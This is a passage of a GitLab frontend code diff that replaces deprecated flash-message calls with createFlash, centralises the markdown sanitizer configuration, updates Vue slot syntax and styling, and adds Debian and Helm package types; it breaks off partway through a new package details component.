@@ -72,7 +72,7 @@ export default {
<template>
<div class="gl-display-flex gl-align-items-stretch">
<div
- class="gl-w-grid-size-30 gl-flex-shrink-0 gl-bg-gray-10 gl-py-3 gl-px-5"
+ class="gl-w-grid-size-30 gl-flex-shrink-0 gl-bg-gray-10 gl-p-3"
:class="menuClass"
data-testid="menu-sidebar"
>
@@ -81,7 +81,7 @@ export default {
<keep-alive-slots
v-show="activeView"
:slot-key="activeView"
- class="gl-w-grid-size-40 gl-overflow-hidden gl-py-3 gl-px-5"
+ class="gl-w-grid-size-40 gl-overflow-hidden gl-p-3"
data-testid="menu-subview"
data-qa-selector="menu_subview_container"
>
diff --git a/app/assets/javascripts/nav/components/top_nav_menu_item.vue b/app/assets/javascripts/nav/components/top_nav_menu_item.vue
index 08b2fbf2ed1..07c6fa7773a 100644
--- a/app/assets/javascripts/nav/components/top_nav_menu_item.vue
+++ b/app/assets/javascripts/nav/components/top_nav_menu_item.vue
@@ -42,7 +42,7 @@ export default {
v-on="$listeners"
>
<span class="gl-display-flex">
- <gl-icon v-if="menuItem.icon" :name="menuItem.icon" :class="{ 'gl-mr-2!': !iconOnly }" />
+ <gl-icon v-if="menuItem.icon" :name="menuItem.icon" :class="{ 'gl-mr-3!': !iconOnly }" />
<template v-if="!iconOnly">
{{ menuItem.title }}
<gl-icon v-if="menuItem.view" name="chevron-right" class="gl-ml-auto" />
diff --git a/app/assets/javascripts/nav/components/top_nav_menu_sections.vue b/app/assets/javascripts/nav/components/top_nav_menu_sections.vue
index 442af512350..b8555df53df 100644
--- a/app/assets/javascripts/nav/components/top_nav_menu_sections.vue
+++ b/app/assets/javascripts/nav/components/top_nav_menu_sections.vue
@@ -1,7 +1,7 @@
<script>
import TopNavMenuItem from './top_nav_menu_item.vue';
-const BORDER_CLASSES = 'gl-pt-3 gl-border-1 gl-border-t-solid gl-border-gray-100';
+const BORDER_CLASSES = 'gl-pt-3 gl-border-1 gl-border-t-solid gl-border-gray-50';
export default {
components: {
diff --git a/app/assets/javascripts/notebook/cells/markdown.vue b/app/assets/javascripts/notebook/cells/markdown.vue
index a7fcce02ab3..0f4cec67ce8 100644
--- a/app/assets/javascripts/notebook/cells/markdown.vue
+++ b/app/assets/javascripts/notebook/cells/markdown.vue
@@ -3,7 +3,7 @@
import katex from 'katex';
import marked from 'marked';
import { sanitize } from '~/lib/dompurify';
-import { hasContent } from '~/lib/utils/text_utility';
+import { hasContent, markdownConfig } from '~/lib/utils/text_utility';
import Prompt from './prompt.vue';
const renderer = new marked.Renderer();
@@ -140,63 +140,7 @@ export default {
markdown() {
renderer.attachments = this.cell.attachments;
- return sanitize(marked(this.cell.source.join('').replace(/\\/g, '\\\\')), {
- // allowedTags from GitLab's inline HTML guidelines
- // https://docs.gitlab.com/ee/user/markdown.html#inline-html
- ALLOWED_TAGS: [
- 'a',
- 'abbr',
- 'b',
- 'blockquote',
- 'br',
- 'code',
- 'dd',
- 'del',
- 'div',
- 'dl',
- 'dt',
- 'em',
- 'h1',
- 'h2',
- 'h3',
- 'h4',
- 'h5',
- 'h6',
- 'hr',
- 'i',
- 'img',
- 'ins',
- 'kbd',
- 'li',
- 'ol',
- 'p',
- 'pre',
- 'q',
- 'rp',
- 'rt',
- 'ruby',
- 's',
- 'samp',
- 'span',
- 'strike',
- 'strong',
- 'sub',
- 'summary',
- 'sup',
- 'table',
- 'tbody',
- 'td',
- 'tfoot',
- 'th',
- 'thead',
- 'tr',
- 'tt',
- 'ul',
- 'var',
- ],
- ALLOWED_ATTR: ['class', 'style', 'href', 'src'],
- ALLOW_DATA_ATTR: false,
- });
+ return sanitize(marked(this.cell.source.join('').replace(/\\/g, '\\\\')), markdownConfig);
},
},
};
diff --git a/app/assets/javascripts/notes.js b/app/assets/javascripts/notes.js
index c324c846f47..ef51587734d 100644
--- a/app/assets/javascripts/notes.js
+++ b/app/assets/javascripts/notes.js
@@ -358,7 +358,7 @@ export default class Notes {
setupNewNote($note) {
// Update datetime format on the recent note
- localTimeAgo($note.find('.js-timeago'), false);
+ localTimeAgo($note.find('.js-timeago').get(), false);
this.collapseLongCommitList();
this.taskList.init();
@@ -511,7 +511,7 @@ export default class Notes {
Notes.animateAppendNote(noteEntity.html, discussionContainer);
}
- localTimeAgo($('.js-timeago'), false);
+ localTimeAgo(document.querySelectorAll('.js-timeago'), false);
Notes.checkMergeRequestStatus();
return this.updateNotesCount(1);
}
@@ -628,7 +628,6 @@ export default class Notes {
message: __(
'Your comment could not be submitted! Please check your network connection and try again.',
),
- type: 'alert',
parent: formParentTimeline.get(0),
});
}
diff --git a/app/assets/javascripts/notes/components/comment_form.vue b/app/assets/javascripts/notes/components/comment_form.vue
index 7213658bdf2..9504ed78778 100644
--- a/app/assets/javascripts/notes/components/comment_form.vue
+++ b/app/assets/javascripts/notes/components/comment_form.vue
@@ -14,7 +14,7 @@ import $ from 'jquery';
import { mapActions, mapGetters, mapState } from 'vuex';
import Autosave from '~/autosave';
import { refreshUserMergeRequestCounts } from '~/commons/nav/user_merge_requests';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { statusBoxState } from '~/issuable/components/status_box.vue';
import httpStatusCodes from '~/lib/utils/http_status';
import {
@@ -293,7 +293,11 @@ export default {
toggleState()
.then(() => statusBoxState.updateStatus && statusBoxState.updateStatus())
.then(refreshUserMergeRequestCounts)
- .catch(() => Flash(constants.toggleStateErrorMessage[this.noteableType][this.openState]));
+ .catch(() =>
+ createFlash({
+ message: constants.toggleStateErrorMessage[this.noteableType][this.openState],
+ }),
+ );
},
discard(shouldClear = true) {
// `blur` is needed to clear slash commands autocomplete cache if event fired.
diff --git a/app/assets/javascripts/notes/components/discussion_notes.vue b/app/assets/javascripts/notes/components/discussion_notes.vue
index dfe2763d8bd..0892276ff3b 100644
--- a/app/assets/javascripts/notes/components/discussion_notes.vue
+++ b/app/assets/javascripts/notes/components/discussion_notes.vue
@@ -130,15 +130,18 @@ export default {
@handleDeleteNote="$emit('deleteNote')"
@startReplying="$emit('startReplying')"
>
- <note-edited-text
- v-if="discussion.resolved"
- slot="discussion-resolved-text"
- :edited-at="discussion.resolved_at"
- :edited-by="discussion.resolved_by"
- :action-text="resolvedText"
- class-name="discussion-headline-light js-discussion-headline discussion-resolved-text"
- />
- <slot slot="avatar-badge" name="avatar-badge"></slot>
+ <template #discussion-resolved-text>
+ <note-edited-text
+ v-if="discussion.resolved"
+ :edited-at="discussion.resolved_at"
+ :edited-by="discussion.resolved_by"
+ :action-text="resolvedText"
+ class-name="discussion-headline-light js-discussion-headline discussion-resolved-text"
+ />
+ </template>
+ <template #avatar-badge>
+ <slot name="avatar-badge"></slot>
+ </template>
</component>
<discussion-notes-replies-wrapper :is-diff-discussion="discussion.diff_discussion">
<toggle-replies-widget
@@ -175,7 +178,9 @@ export default {
:discussion-resolve-path="discussion.resolve_path"
@handleDeleteNote="$emit('deleteNote')"
>
- <slot v-if="index === 0" slot="avatar-badge" name="avatar-badge"></slot>
+ <template #avatar-badge>
+ <slot v-if="index === 0" name="avatar-badge"></slot>
+ </template>
</component>
<slot :show-replies="isExpanded || !hasReplies" name="footer"></slot>
</template>
diff --git a/app/assets/javascripts/notes/components/note_actions.vue b/app/assets/javascripts/notes/components/note_actions.vue
index 0f72b4f2dba..44d0c741d5a 100644
--- a/app/assets/javascripts/notes/components/note_actions.vue
+++ b/app/assets/javascripts/notes/components/note_actions.vue
@@ -3,7 +3,7 @@ import { GlTooltipDirective, GlIcon, GlButton, GlDropdownItem } from '@gitlab/ui
import { mapActions, mapGetters } from 'vuex';
import Api from '~/api';
import resolvedStatusMixin from '~/batch_comments/mixins/resolved_status';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
import { __, sprintf } from '~/locale';
import eventHub from '~/sidebar/event_hub';
@@ -234,7 +234,11 @@ export default {
assignee_ids: assignees.map((assignee) => assignee.id),
})
.then(() => this.handleAssigneeUpdate(assignees))
- .catch(() => flash(__('Something went wrong while updating assignees')));
+ .catch(() =>
+ createFlash({
+ message: __('Something went wrong while updating assignees'),
+ }),
+ );
}
},
setAwardEmoji(awardName) {
diff --git a/app/assets/javascripts/notes/components/note_awards_list.vue b/app/assets/javascripts/notes/components/note_awards_list.vue
index 9eb7b928ea4..835750cc137 100644
--- a/app/assets/javascripts/notes/components/note_awards_list.vue
+++ b/app/assets/javascripts/notes/components/note_awards_list.vue
@@ -1,8 +1,8 @@
<script>
import { mapActions, mapGetters } from 'vuex';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import AwardsList from '~/vue_shared/components/awards_list.vue';
-import { deprecatedCreateFlash as Flash } from '../../flash';
export default {
components: {
@@ -48,7 +48,11 @@ export default {
awardName,
};
- this.toggleAwardRequest(data).catch(() => Flash(__('Something went wrong on our end.')));
+ this.toggleAwardRequest(data).catch(() =>
+ createFlash({
+ message: __('Something went wrong on our end.'),
+ }),
+ );
},
},
};
diff --git a/app/assets/javascripts/notes/components/note_header.vue b/app/assets/javascripts/notes/components/note_header.vue
index 6932af61c69..1a4a6c137a6 100644
--- a/app/assets/javascripts/notes/components/note_header.vue
+++ b/app/assets/javascripts/notes/components/note_header.vue
@@ -216,6 +216,7 @@ export default {
<gl-loading-icon
v-if="showSpinner"
ref="spinner"
+ size="sm"
class="editing-spinner"
:label="__('Comment is being updated')"
/>
diff --git a/app/assets/javascripts/notes/components/noteable_discussion.vue b/app/assets/javascripts/notes/components/noteable_discussion.vue
index 1af9e4be373..b99579fb9a7 100644
--- a/app/assets/javascripts/notes/components/noteable_discussion.vue
+++ b/app/assets/javascripts/notes/components/noteable_discussion.vue
@@ -2,11 +2,12 @@
import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { mapActions, mapGetters } from 'vuex';
import DraftNote from '~/batch_comments/components/draft_note.vue';
+import createFlash from '~/flash';
import { clearDraft, getDiscussionReplyKey } from '~/lib/utils/autosave';
+import { isLoggedIn } from '~/lib/utils/common_utils';
import { s__, __ } from '~/locale';
import diffLineNoteFormMixin from '~/notes/mixins/diff_line_note_form';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
-import { deprecatedCreateFlash as Flash } from '../../flash';
import userAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_link.vue';
import eventHub from '../event_hub';
import noteable from '../mixins/noteable';
@@ -85,7 +86,7 @@ export default {
return this.getUserData;
},
isLoggedIn() {
- return Boolean(gon.current_user_id);
+ return isLoggedIn();
},
autosaveKey() {
return getDiscussionReplyKey(this.firstNote.noteable_type, this.discussion.id);
@@ -220,7 +221,10 @@ export default {
const msg = __(
'Your comment could not be submitted! Please check your network connection and try again.',
);
- Flash(msg, 'alert', this.$el);
+ createFlash({
+ message: msg,
+ parent: this.$el,
+ });
this.$refs.noteForm.note = noteText;
callback(err);
});
@@ -262,7 +266,9 @@ export default {
@startReplying="showReplyForm"
@deleteNote="deleteNoteHandler"
>
- <slot slot="avatar-badge" name="avatar-badge"></slot>
+ <template #avatar-badge>
+ <slot name="avatar-badge"></slot>
+ </template>
<template #footer="{ showReplies }">
<draft-note
v-if="showDraft(discussion.reply_id)"
diff --git a/app/assets/javascripts/notes/components/noteable_note.vue b/app/assets/javascripts/notes/components/noteable_note.vue
index 0feb77be653..5ea431224ce 100644
--- a/app/assets/javascripts/notes/components/noteable_note.vue
+++ b/app/assets/javascripts/notes/components/noteable_note.vue
@@ -4,15 +4,16 @@ import $ from 'jquery';
import { escape, isEmpty } from 'lodash';
import { mapGetters, mapActions } from 'vuex';
import { INLINE_DIFF_LINES_KEY } from '~/diffs/constants';
+import createFlash from '~/flash';
import httpStatusCodes from '~/lib/utils/http_status';
import { truncateSha } from '~/lib/utils/text_utility';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
-import { deprecatedCreateFlash as Flash } from '../../flash';
import { __, s__, sprintf } from '../../locale';
import userAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_link.vue';
import eventHub from '../event_hub';
import noteable from '../mixins/noteable';
import resolvable from '../mixins/resolvable';
+import { renderMarkdown } from '../utils';
import {
getStartLineNumber,
getEndLineNumber,
@@ -247,7 +248,9 @@ export default {
this.isDeleting = false;
})
.catch(() => {
- Flash(__('Something went wrong while deleting your note. Please try again.'));
+ createFlash({
+ message: __('Something went wrong while deleting your note. Please try again.'),
+ });
this.isDeleting = false;
});
}
@@ -298,7 +301,7 @@ export default {
this.isRequesting = true;
this.oldContent = this.note.note_html;
// eslint-disable-next-line vue/no-mutating-props
- this.note.note_html = escape(noteText);
+ this.note.note_html = renderMarkdown(noteText);
this.updateNote(data)
.then(() => {
@@ -316,7 +319,10 @@ export default {
this.setSelectedCommentPositionHover();
this.$nextTick(() => {
const msg = __('Something went wrong while editing your comment. Please try again.');
- Flash(msg, 'alert', this.$el);
+ createFlash({
+ message: msg,
+ parent: this.$el,
+ });
this.recoverNoteContent(noteText);
callback();
});
@@ -387,7 +393,9 @@ export default {
:img-alt="author.name"
:img-size="40"
>
- <slot slot="avatar-badge" name="avatar-badge"></slot>
+ <template #avatar-badge>
+ <slot name="avatar-badge"></slot>
+ </template>
</user-avatar-link>
</div>
<div class="timeline-content">
@@ -398,7 +406,9 @@ export default {
:note-id="note.id"
:is-confidential="note.confidential"
>
- <slot slot="note-header-info" name="note-header-info"></slot>
+ <template #note-header-info>
+ <slot name="note-header-info"></slot>
+ </template>
<span v-if="commit" v-safe-html="actionText"></span>
<span v-else-if="note.created_at" class="d-none d-sm-inline">&middot;</span>
</note-header>
diff --git a/app/assets/javascripts/notes/components/notes_app.vue b/app/assets/javascripts/notes/components/notes_app.vue
index 433f75a752d..29c60b96d8a 100644
--- a/app/assets/javascripts/notes/components/notes_app.vue
+++ b/app/assets/javascripts/notes/components/notes_app.vue
@@ -1,13 +1,13 @@
<script>
import { mapGetters, mapActions } from 'vuex';
import highlightCurrentUser from '~/behaviors/markdown/highlight_current_user';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import initUserPopovers from '~/user_popovers';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
import OrderedLayout from '~/vue_shared/components/ordered_layout.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import draftNote from '../../batch_comments/components/draft_note.vue';
-import { deprecatedCreateFlash as Flash } from '../../flash';
import { getLocationHash, doesHashExistInUrl } from '../../lib/utils/url_utility';
import placeholderNote from '../../vue_shared/components/notes/placeholder_note.vue';
import placeholderSystemNote from '../../vue_shared/components/notes/placeholder_system_note.vue';
@@ -66,6 +66,7 @@ export default {
data() {
return {
currentFilter: null,
+ renderSkeleton: !this.shouldShow,
};
},
computed: {
@@ -93,7 +94,7 @@ export default {
return this.noteableData.noteableType;
},
allDiscussions() {
- if (this.isLoading) {
+ if (this.renderSkeleton || this.isLoading) {
const prerenderedNotesCount = parseInt(this.notesData.prerenderedNotesCount, 10) || 0;
return new Array(prerenderedNotesCount).fill({
@@ -122,6 +123,10 @@ export default {
if (!this.isNotesFetched) {
this.fetchNotes();
}
+
+ setTimeout(() => {
+ this.renderSkeleton = !this.shouldShow;
+ });
},
discussionTabCounterText(val) {
if (this.discussionsCount) {
@@ -216,7 +221,9 @@ export default {
.catch(() => {
this.setLoadingState(false);
this.setNotesFetchedState(true);
- Flash(__('Something went wrong while fetching comments. Please try again.'));
+ createFlash({
+ message: __('Something went wrong while fetching comments. Please try again.'),
+ });
});
},
initPolling() {
diff --git a/app/assets/javascripts/notes/mixins/resolvable.js b/app/assets/javascripts/notes/mixins/resolvable.js
index 27ed8e203b0..9783def1b46 100644
--- a/app/assets/javascripts/notes/mixins/resolvable.js
+++ b/app/assets/javascripts/notes/mixins/resolvable.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
export default {
@@ -46,7 +46,10 @@ export default {
this.isResolving = false;
const msg = __('Something went wrong while resolving this discussion. Please try again.');
- Flash(msg, 'alert', this.$el);
+ createFlash({
+ message: msg,
+ parent: this.$el,
+ });
});
},
},
diff --git a/app/assets/javascripts/notes/stores/actions.js b/app/assets/javascripts/notes/stores/actions.js
index 086e9122c60..6a4a3263e4a 100644
--- a/app/assets/javascripts/notes/stores/actions.js
+++ b/app/assets/javascripts/notes/stores/actions.js
@@ -2,6 +2,7 @@ import $ from 'jquery';
import Visibility from 'visibilityjs';
import Vue from 'vue';
import Api from '~/api';
+import createFlash from '~/flash';
import { EVENT_ISSUABLE_VUE_APP_CHANGE } from '~/issuable/constants';
import axios from '~/lib/utils/axios_utils';
import { __, sprintf } from '~/locale';
@@ -9,7 +10,6 @@ import { confidentialWidget } from '~/sidebar/components/confidential/sidebar_co
import updateIssueLockMutation from '~/sidebar/components/lock/mutations/update_issue_lock.mutation.graphql';
import updateMergeRequestLockMutation from '~/sidebar/components/lock/mutations/update_merge_request_lock.mutation.graphql';
import loadAwardsHandler from '../../awards_handler';
-import { deprecatedCreateFlash as Flash } from '../../flash';
import { isInViewport, scrollToElement, isInMRPage } from '../../lib/utils/common_utils';
import Poll from '../../lib/utils/poll';
import { create } from '../../lib/utils/recurrence';
@@ -312,25 +312,23 @@ export const saveNote = ({ commit, dispatch }, noteData) => {
$('.notes-form .flash-container').hide(); // hide previous flash notification
commit(types.REMOVE_PLACEHOLDER_NOTES); // remove previous placeholders
- if (replyId) {
- if (hasQuickActions) {
- placeholderText = utils.stripQuickActions(placeholderText);
- }
+ if (hasQuickActions) {
+ placeholderText = utils.stripQuickActions(placeholderText);
+ }
- if (placeholderText.length) {
- commit(types.SHOW_PLACEHOLDER_NOTE, {
- noteBody: placeholderText,
- replyId,
- });
- }
+ if (placeholderText.length) {
+ commit(types.SHOW_PLACEHOLDER_NOTE, {
+ noteBody: placeholderText,
+ replyId,
+ });
+ }
- if (hasQuickActions) {
- commit(types.SHOW_PLACEHOLDER_NOTE, {
- isSystemNote: true,
- noteBody: utils.getQuickActionText(note),
- replyId,
- });
- }
+ if (hasQuickActions) {
+ commit(types.SHOW_PLACEHOLDER_NOTE, {
+ isSystemNote: true,
+ noteBody: utils.getQuickActionText(note),
+ replyId,
+ });
}
const processQuickActions = (res) => {
@@ -354,7 +352,11 @@ export const saveNote = ({ commit, dispatch }, noteData) => {
$('.js-gfm-input').trigger('clear-commands-cache.atwho');
- Flash(message || __('Commands applied'), 'notice', noteData.flashContainer);
+ createFlash({
+ message: message || __('Commands applied'),
+ type: 'notice',
+ parent: noteData.flashContainer,
+ });
}
return res;
@@ -375,11 +377,10 @@ export const saveNote = ({ commit, dispatch }, noteData) => {
awardsHandler.scrollToAwards();
})
.catch(() => {
- Flash(
- __('Something went wrong while adding your award. Please try again.'),
- 'alert',
- noteData.flashContainer,
- );
+ createFlash({
+ message: __('Something went wrong while adding your award. Please try again.'),
+ parent: noteData.flashContainer,
+ });
})
.then(() => res);
};
@@ -397,9 +398,7 @@ export const saveNote = ({ commit, dispatch }, noteData) => {
};
const removePlaceholder = (res) => {
- if (replyId) {
- commit(types.REMOVE_PLACEHOLDER_NOTES);
- }
+ commit(types.REMOVE_PLACEHOLDER_NOTES);
return res;
};
@@ -417,7 +416,10 @@ export const saveNote = ({ commit, dispatch }, noteData) => {
const errorMsg = sprintf(__('Your comment could not be submitted because %{error}'), {
error: base[0].toLowerCase(),
});
- Flash(errorMsg, 'alert', noteData.flashContainer);
+ createFlash({
+ message: errorMsg,
+ parent: noteData.flashContainer,
+ });
return { ...data, hasFlash: true };
}
}
@@ -480,7 +482,9 @@ export const poll = ({ commit, state, getters, dispatch }) => {
});
notePollOccurrenceTracking.handle(2, () => {
// On the second failure in a row, show the alert and try one more time (hoping to succeed and clear the error)
- flashContainer = Flash(__('Something went wrong while fetching latest comments.'));
+ flashContainer = createFlash({
+ message: __('Something went wrong while fetching latest comments.'),
+ });
setTimeout(() => eTagPoll.restart(), NOTES_POLLING_INTERVAL);
});
@@ -570,7 +574,9 @@ export const filterDiscussion = ({ dispatch }, { path, filter, persistFilter })
.catch(() => {
dispatch('setLoadingState', false);
dispatch('setNotesFetchedState', true);
- Flash(__('Something went wrong while fetching comments. Please try again.'));
+ createFlash({
+ message: __('Something went wrong while fetching comments. Please try again.'),
+ });
});
};
@@ -613,7 +619,10 @@ export const submitSuggestion = (
const flashMessage = errorMessage || defaultMessage;
- Flash(__(flashMessage), 'alert', flashContainer);
+ createFlash({
+ message: __(flashMessage),
+ parent: flashContainer,
+ });
})
.finally(() => {
commit(types.SET_RESOLVING_DISCUSSION, false);
@@ -646,7 +655,10 @@ export const submitSuggestionBatch = ({ commit, dispatch, state }, { flashContai
const flashMessage = errorMessage || defaultMessage;
- Flash(__(flashMessage), 'alert', flashContainer);
+ createFlash({
+ message: __(flashMessage),
+ parent: flashContainer,
+ });
})
.finally(() => {
commit(types.SET_APPLYING_BATCH_STATE, false);
@@ -685,7 +697,9 @@ export const fetchDescriptionVersion = ({ dispatch }, { endpoint, startingVersio
})
.catch((error) => {
dispatch('receiveDescriptionVersionError', error);
- Flash(__('Something went wrong while fetching description changes. Please try again.'));
+ createFlash({
+ message: __('Something went wrong while fetching description changes. Please try again.'),
+ });
});
};
@@ -717,7 +731,9 @@ export const softDeleteDescriptionVersion = (
})
.catch((error) => {
dispatch('receiveDeleteDescriptionVersionError', error);
- Flash(__('Something went wrong while deleting description changes. Please try again.'));
+ createFlash({
+ message: __('Something went wrong while deleting description changes. Please try again.'),
+ });
// Throw an error here because a component like SystemNote -
// needs to know if the request failed to reset its internal state.
diff --git a/app/assets/javascripts/notes/stores/getters.js b/app/assets/javascripts/notes/stores/getters.js
index b04b1d28ffa..956221d69ae 100644
--- a/app/assets/javascripts/notes/stores/getters.js
+++ b/app/assets/javascripts/notes/stores/getters.js
@@ -279,7 +279,7 @@ export const getDiscussion = (state) => (discussionId) =>
export const commentsDisabled = (state) => state.commentsDisabled;
export const suggestionsCount = (state, getters) =>
- Object.values(getters.notesById).filter((n) => n.suggestions.length).length;
+ Object.values(getters.notesById).filter((n) => n.suggestions?.length).length;
export const hasDrafts = (state, getters, rootState, rootGetters) =>
Boolean(rootGetters['batchComments/hasDrafts']);
diff --git a/app/assets/javascripts/notes/utils.js b/app/assets/javascripts/notes/utils.js
index 7966a884eab..ec18a570960 100644
--- a/app/assets/javascripts/notes/utils.js
+++ b/app/assets/javascripts/notes/utils.js
@@ -1,4 +1,7 @@
/* eslint-disable @gitlab/require-i18n-strings */
+import marked from 'marked';
+import { sanitize } from '~/lib/dompurify';
+import { markdownConfig } from '~/lib/utils/text_utility';
/**
* Tracks snowplow event when User toggles timeline view
@@ -10,3 +13,7 @@ export const trackToggleTimelineView = (enabled) => ({
label: 'Status',
property: enabled,
});
+
+export const renderMarkdown = (rawMarkdown) => {
+ return sanitize(marked(rawMarkdown), markdownConfig);
+};
diff --git a/app/assets/javascripts/notifications/components/custom_notifications_modal.vue b/app/assets/javascripts/notifications/components/custom_notifications_modal.vue
index 2b5cff35fc8..182948c39f4 100644
--- a/app/assets/javascripts/notifications/components/custom_notifications_modal.vue
+++ b/app/assets/javascripts/notifications/components/custom_notifications_modal.vue
@@ -73,7 +73,7 @@ export default {
this.events = this.buildEvents(events);
} catch (error) {
- this.$toast.show(this.$options.i18n.loadNotificationLevelErrorMessage, { type: 'error' });
+ this.$toast.show(this.$options.i18n.loadNotificationLevelErrorMessage);
} finally {
this.isLoading = false;
}
@@ -93,7 +93,7 @@ export default {
this.events = this.buildEvents(events);
} catch (error) {
- this.$toast.show(this.$options.i18n.updateNotificationLevelErrorMessage, { type: 'error' });
+ this.$toast.show(this.$options.i18n.updateNotificationLevelErrorMessage);
}
},
},
@@ -132,7 +132,7 @@ export default {
@change="updateEvent($event, event)"
>
<strong>{{ event.name }}</strong
- ><gl-loading-icon v-if="event.loading" :inline="true" class="gl-ml-2" />
+ ><gl-loading-icon v-if="event.loading" size="sm" :inline="true" class="gl-ml-2" />
</gl-form-checkbox>
</gl-form-group>
</template>
diff --git a/app/assets/javascripts/notifications/components/notifications_dropdown.vue b/app/assets/javascripts/notifications/components/notifications_dropdown.vue
index 4963b9386c1..69eb2115bf4 100644
--- a/app/assets/javascripts/notifications/components/notifications_dropdown.vue
+++ b/app/assets/javascripts/notifications/components/notifications_dropdown.vue
@@ -104,7 +104,7 @@ export default {
this.selectedNotificationLevel = level;
this.openNotificationsModal();
} catch (error) {
- this.$toast.show(this.$options.i18n.updateNotificationLevelErrorMessage, { type: 'error' });
+ this.$toast.show(this.$options.i18n.updateNotificationLevelErrorMessage);
} finally {
this.isLoading = false;
}
diff --git a/app/assets/javascripts/operation_settings/store/actions.js b/app/assets/javascripts/operation_settings/store/actions.js
index 969904bc6d0..529eb7d207b 100644
--- a/app/assets/javascripts/operation_settings/store/actions.js
+++ b/app/assets/javascripts/operation_settings/store/actions.js
@@ -37,6 +37,5 @@ export const receiveSaveChangesError = (_, error) => {
createFlash({
message: `${__('There was an error saving your changes.')} ${message}`,
- type: 'alert',
});
};
diff --git a/app/assets/javascripts/packages/details/components/app.vue b/app/assets/javascripts/packages/details/components/app.vue
index 55ffe10a608..59da32e6666 100644
--- a/app/assets/javascripts/packages/details/components/app.vue
+++ b/app/assets/javascripts/packages/details/components/app.vue
@@ -11,8 +11,8 @@ import {
GlSprintf,
} from '@gitlab/ui';
import { mapActions, mapState } from 'vuex';
-import { objectToQueryString } from '~/lib/utils/common_utils';
import { numberToHumanSize } from '~/lib/utils/number_utils';
+import { objectToQuery } from '~/lib/utils/url_utility';
import { s__, __ } from '~/locale';
import Tracking from '~/tracking';
import PackageListRow from '../../shared/components/package_list_row.vue';
@@ -114,7 +114,7 @@ export default {
!this.groupListUrl || document.referrer.includes(this.projectName)
? this.projectListUrl
: this.groupListUrl; // to avoid security issue url are supplied from backend
- const modalQuery = objectToQueryString({ [SHOW_DELETE_SUCCESS_ALERT]: true });
+ const modalQuery = objectToQuery({ [SHOW_DELETE_SUCCESS_ALERT]: true });
window.location.replace(`${returnTo}?${modalQuery}`);
},
handleFileDelete(file) {
diff --git a/app/assets/javascripts/packages/list/constants.js b/app/assets/javascripts/packages/list/constants.js
index d871c2e4d24..2c6fd94024e 100644
--- a/app/assets/javascripts/packages/list/constants.js
+++ b/app/assets/javascripts/packages/list/constants.js
@@ -86,6 +86,14 @@ export const PACKAGE_TYPES = [
title: s__('PackageRegistry|RubyGems'),
type: PackageType.RUBYGEMS,
},
+ {
+ title: s__('PackageRegistry|Debian'),
+ type: PackageType.DEBIAN,
+ },
+ {
+ title: s__('PackageRegistry|Helm'),
+ type: PackageType.HELM,
+ },
];
export const LIST_TITLE_TEXT = s__('PackageRegistry|Package Registry');
diff --git a/app/assets/javascripts/packages/shared/constants.js b/app/assets/javascripts/packages/shared/constants.js
index 0ef6a3d0d12..b4cdca34d92 100644
--- a/app/assets/javascripts/packages/shared/constants.js
+++ b/app/assets/javascripts/packages/shared/constants.js
@@ -9,6 +9,8 @@ export const PackageType = {
COMPOSER: 'composer',
RUBYGEMS: 'rubygems',
GENERIC: 'generic',
+ DEBIAN: 'debian',
+ HELM: 'helm',
};
// we want this separated from the main dictionary to avoid it being pulled in the search of package
diff --git a/app/assets/javascripts/packages/shared/utils.js b/app/assets/javascripts/packages/shared/utils.js
index bd35a47ca4d..7e86e5b2991 100644
--- a/app/assets/javascripts/packages/shared/utils.js
+++ b/app/assets/javascripts/packages/shared/utils.js
@@ -25,6 +25,10 @@ export const getPackageTypeLabel = (packageType) => {
return s__('PackageRegistry|Composer');
case PackageType.GENERIC:
return s__('PackageRegistry|Generic');
+ case PackageType.DEBIAN:
+ return s__('PackageRegistry|Debian');
+ case PackageType.HELM:
+ return s__('PackageRegistry|Helm');
default:
return null;
}
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/details/app.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/details/app.vue
new file mode 100644
index 00000000000..e2a2fb1430d
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/details/app.vue
@@ -0,0 +1,301 @@
+<script>
+/*
+ * The commented part of this component needs to be re-enabled in the refactor process,
+ * See here for more info: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64939
+ */
+import {
+ GlBadge,
+ GlButton,
+ GlModal,
+ GlModalDirective,
+ GlTooltipDirective,
+ GlEmptyState,
+ GlTab,
+ GlTabs,
+ GlSprintf,
+} from '@gitlab/ui';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import { objectToQuery } from '~/lib/utils/url_utility';
+import { s__, __ } from '~/locale';
+// import AdditionalMetadata from '~/packages/details/components/additional_metadata.vue';
+// import DependencyRow from '~/packages/details/components/dependency_row.vue';
+// import InstallationCommands from '~/packages/details/components/installation_commands.vue';
+// import PackageFiles from '~/packages/details/components/package_files.vue';
+// import PackageHistory from '~/packages/details/components/package_history.vue';
+// import PackageListRow from '~/packages/shared/components/package_list_row.vue';
+import PackagesListLoader from '~/packages/shared/components/packages_list_loader.vue';
+import {
+ PackageType,
+ TrackingActions,
+ SHOW_DELETE_SUCCESS_ALERT,
+} from '~/packages/shared/constants';
+import { packageTypeToTrackCategory } from '~/packages/shared/utils';
+import Tracking from '~/tracking';
+
+export default {
+ name: 'PackagesApp',
+ components: {
+ GlBadge,
+ GlButton,
+ GlEmptyState,
+ GlModal,
+ GlTab,
+ GlTabs,
+ GlSprintf,
+ PackageTitle: () => import('~/packages/details/components/package_title.vue'),
+ TerraformTitle: () =>
+ import('~/packages_and_registries/infrastructure_registry/components/details_title.vue'),
+ PackagesListLoader,
+ // PackageListRow,
+ // DependencyRow,
+ // PackageHistory,
